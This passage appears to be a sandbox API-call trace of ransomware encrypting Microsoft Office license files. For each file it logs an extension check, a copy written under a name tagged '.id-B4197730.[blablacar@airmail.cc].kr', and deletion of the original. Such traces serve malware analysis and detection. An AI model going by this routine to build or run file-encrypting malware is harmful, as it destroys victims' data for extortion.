Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.765] lstrlenW (lpString=".doc") returned 4 [0209.765] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString=".docx") returned 5 [0209.765] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.765] lstrlenW (lpString=".pdf") returned 4 [0209.765] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString=".xls") returned 4 [0209.765] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString=".xlsx") returned 5 [0209.765] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.765] lstrlenW (lpString=".ppt") returned 4 [0209.765] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.765] lstrlenW (lpString=".zip") returned 4 [0209.765] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString=".rar") returned 4 [0209.765] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString=".bz2") returned 4 [0209.765] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString=".7z") returned 3 [0209.765] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.765] lstrlenW (lpString=".dbf") returned 4 [0209.765] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.766] lstrlenW (lpString=".1cd") returned 4 [0209.766] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.766] lstrlenW (lpString=".jpg") returned 4 [0209.766] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.766] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.766] lstrlenW (lpString="OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 31 [0209.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.767] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19937) returned 1 [0209.767] CloseHandle (hObject=0x3ec) returned 1 [0209.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0209.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.768] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.768] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.769] GetLastError () returned 0x0 [0209.769] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4de1, lpOverlapped=0x0) returned 1 [0209.814] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0209.815] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.815] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0209.815] SetEndOfFile (hFile=0x370) returned 1 [0209.816] CloseHandle (hObject=0x370) returned 1 [0209.816] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.816] SetEndOfFile (hFile=0x3ec) returned 1 [0209.820] CloseHandle (hObject=0x3ec) returned 1 [0209.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms")) returned 1 [0209.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.821] lstrlenW (lpString=".doc") returned 4 [0209.822] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString=".docx") returned 5 [0209.822] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.822] lstrlenW (lpString=".pdf") returned 4 [0209.822] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString=".xls") returned 4 [0209.822] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString=".xlsx") returned 5 [0209.822] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.822] lstrlenW (lpString=".ppt") returned 4 [0209.822] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.822] lstrlenW (lpString=".zip") returned 4 [0209.822] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString=".rar") returned 4 [0209.822] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString=".bz2") returned 4 [0209.822] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString=".7z") returned 3 [0209.822] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.822] lstrlenW (lpString=".dbf") returned 4 [0209.822] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.822] lstrlenW (lpString=".1cd") returned 4 [0209.822] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.822] lstrlenW (lpString=".jpg") returned 4 [0209.822] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.822] lstrlenW (lpString=".doc") returned 4 [0209.823] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString=".docx") returned 5 [0209.823] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.823] lstrlenW (lpString=".pdf") returned 4 [0209.823] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString=".xls") returned 4 [0209.823] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString=".xlsx") returned 5 [0209.823] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.823] lstrlenW (lpString=".ppt") returned 4 [0209.823] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.823] lstrlenW (lpString=".zip") returned 4 [0209.823] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString=".rar") returned 4 [0209.823] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString=".bz2") returned 4 [0209.823] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString=".7z") returned 3 [0209.823] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.823] lstrlenW (lpString=".dbf") returned 4 [0209.823] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.823] lstrlenW (lpString=".1cd") returned 4 [0209.823] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0209.823] lstrlenW (lpString=".jpg") returned 4 [0209.823] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.823] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.824] lstrlenW (lpString="OneNoteR_Retail-pl.xrm-ms") returned 25 [0209.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.824] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10635) returned 1 [0209.825] CloseHandle (hObject=0x3ec) returned 1 [0209.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms")) returned 0x220 [0209.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.825] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.825] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.826] GetLastError () returned 0x0 [0209.826] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x298b, lpOverlapped=0x0) returned 1 [0209.994] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2990, lpOverlapped=0x0) returned 1 [0209.995] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.995] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x106, lpOverlapped=0x0) returned 1 [0209.995] SetEndOfFile (hFile=0x370) returned 1 [0209.995] CloseHandle (hObject=0x370) returned 1 [0209.995] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.995] SetEndOfFile (hFile=0x3ec) returned 1 [0209.999] CloseHandle (hObject=0x3ec) returned 1 [0209.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms")) returned 1 [0210.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.000] lstrlenW (lpString=".doc") returned 4 [0210.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.000] lstrlenW (lpString=".docx") returned 5 [0210.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.000] lstrlenW (lpString=".pdf") returned 4 [0210.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.000] lstrlenW (lpString=".xls") returned 4 [0210.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.000] lstrlenW (lpString=".xlsx") returned 5 [0210.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.001] lstrlenW (lpString=".ppt") returned 4 [0210.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.001] lstrlenW (lpString=".zip") returned 4 [0210.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.001] lstrlenW (lpString=".rar") returned 4 [0210.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.001] lstrlenW (lpString=".bz2") returned 4 [0210.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.001] lstrlenW (lpString=".7z") returned 3 [0210.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.001] lstrlenW (lpString=".dbf") returned 4 [0210.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.001] lstrlenW (lpString=".1cd") returned 4 [0210.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.001] lstrlenW (lpString=".jpg") returned 4 [0210.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.001] lstrlenW (lpString=".doc") returned 4 [0210.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString=".docx") returned 5 [0210.002] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.002] lstrlenW (lpString=".pdf") returned 4 [0210.002] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString=".xls") returned 4 [0210.002] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString=".xlsx") returned 5 [0210.002] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.002] lstrlenW (lpString=".ppt") returned 4 [0210.002] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.002] lstrlenW (lpString=".zip") returned 4 [0210.002] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString=".rar") returned 4 [0210.002] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString=".bz2") returned 4 [0210.002] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString=".7z") returned 3 [0210.002] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.002] lstrlenW (lpString=".dbf") returned 4 [0210.002] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.002] lstrlenW (lpString=".1cd") returned 4 [0210.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms") returned 75 [0210.002] lstrlenW (lpString=".jpg") returned 4 [0210.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.002] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.003] lstrlenW (lpString="OneNoteVL_KMS_Client-ul.xrm-ms") returned 30 [0210.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.003] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9611) returned 1 [0210.003] CloseHandle (hObject=0x3ec) returned 1 [0210.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms")) returned 0x220 [0210.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.004] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.004] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.005] GetLastError () returned 0x0 [0210.005] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x258b, lpOverlapped=0x0) returned 1 [0210.047] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2590, lpOverlapped=0x0) returned 1 [0210.048] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.048] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0210.048] SetEndOfFile (hFile=0x370) returned 1 [0210.049] CloseHandle (hObject=0x370) returned 1 [0210.049] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.049] SetEndOfFile (hFile=0x3ec) returned 1 [0210.054] CloseHandle (hObject=0x3ec) returned 1 [0210.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms")) returned 1 [0210.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.055] lstrlenW (lpString=".doc") returned 4 [0210.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.055] lstrlenW (lpString=".docx") returned 5 [0210.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.055] lstrlenW (lpString=".pdf") returned 4 [0210.055] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString=".xls") returned 4 [0210.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString=".xlsx") returned 5 [0210.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.056] lstrlenW (lpString=".ppt") returned 4 [0210.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.056] lstrlenW (lpString=".zip") returned 4 [0210.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString=".rar") returned 4 [0210.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString=".bz2") returned 4 [0210.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString=".7z") returned 3 [0210.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.056] lstrlenW (lpString=".dbf") returned 4 [0210.056] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.056] lstrlenW 